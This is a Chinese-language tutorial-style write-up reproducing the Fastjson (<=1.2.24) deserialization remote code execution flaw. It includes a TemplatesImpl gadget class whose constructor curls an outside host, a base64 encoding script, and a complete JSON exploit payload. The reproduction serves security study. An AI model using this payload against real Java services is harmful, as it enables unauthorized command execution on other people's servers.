参考文献:https://kevien.github.io/2018/06/18/FastJson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E(%E7%BB%AD)/
https://paper.seebug.org/636/
http://www.52bug.cn/%E9%BB%91%E5%AE%A2%E6%8A%80%E6%9C%AF/4686.html
jar包下载:https://mvnrepository.com/artifact/com.alibaba/fastjson/1.2.47
Fastjson概念
Fastjson可以将java的对象
转换成json
的形式,也可以用来将json
转换成java对象
,它的JSONString()方法
可以将java的对象
转换成json
格式,同样通过parseObject方法
可以将json数据
转换成java的对象
一个栗子
序列化
PS:需导入fastjson.jar
User.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21package fastjsondemo;
import java.io.IOException;
public class User {
public String Username;
private String password ;
public String getUsername() {
return Username;
}
public void setUsername(String username) {
Username = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
public User() throws IOException{
Runtime.getRuntime().exec("calc.exe");
}
}Test1.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17package fastjsondemo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Test1 {
public static void main(String[] args){
User user = new User();
user.setUsername("admin");
user.setPassword("123456");
String entity1= JSON.toJSONString(user);
System.out.println(entity1);
String entity2 = JSON.toJSONString(user,SerializerFeature.WriteClassName);
System.out.println(entity2);
}
}
反序列化
FastJson中的 parse()
和parseObject()
方法都可以用来将JSON字符串反序列化成Java对象
。但是 parseObject()
会额外的将Java对象转为 JSONObject对象
,即JSON.toJSON()
。parse()
会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法
,而 parseObject()
在处理过程中会调用反序列化目标类的所有 setter
和getter
方法。
1 | String json1="{\"Username\":\"root\",\"password\":\"123456\"}"; |
PS:json反序列化时会自动调用无参构造器里的方法,导致计算器弹出
password字段设置的是私有属性,FastJson无权直接去反序列化私有字段。
复现fastjson 反序列化导致任意命令执行漏洞
1 | version: FastJson<=1.2.24 |
环境搭建什么的就不说了,按照大佬给的步骤就行了
- 这是一个web应用,访问返回“Hello world”。正常POST一个json,目标会提取json对象中的name和age拼接成一句话返回:
漏洞原理:
- 原理
fastjson在解析json的过程中,支持使用autoType
来实例化某一个具体的类,并通过json来填充其属性值。而JDK自带的类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
中有一个私有属性_bytecodes
,其部分方法会执行这个值中包含的Java字节码。
想要使用TemplatesImpl
的_bytecodes
属性执行任意命令,有几个条件:
①目标网站使用fastjson库解析json
②解析时设置了Feature.SupportNonPublicField
,否则不支持传入私有属性
③目标使用的jdk中存在TemplatesImpl
类 - 调用链(偷大佬的图)
利用方式 poc.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Poc extends AbstractTranslet { #强制类型转化为AbstractTranslet类
public Poc() throws IOException {
Runtime.getRuntime().exec("curl http://120.xxx.xxx.xxx:8989");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
Poc t = new Poc();
}
}执行命令
javac Poc.java
1.py(将
Poc.class
里面的内容base64加密(FastJson提取byte[]数组
字段值时会进行Base64解码,所以构造payload时需要对_bytecodes
进行Base64处理))1
2
3
4
5
6
7import base64
fin = open(r"Poc.class", "rb")
fout = open(r"en.txt", "w")
s = base64.encodestring(fin.read()).replace("\n", "")
fout.write(s)
fin.close()
fout.close()payload
1
{"name":{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAZAAgAGgAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"},age:12}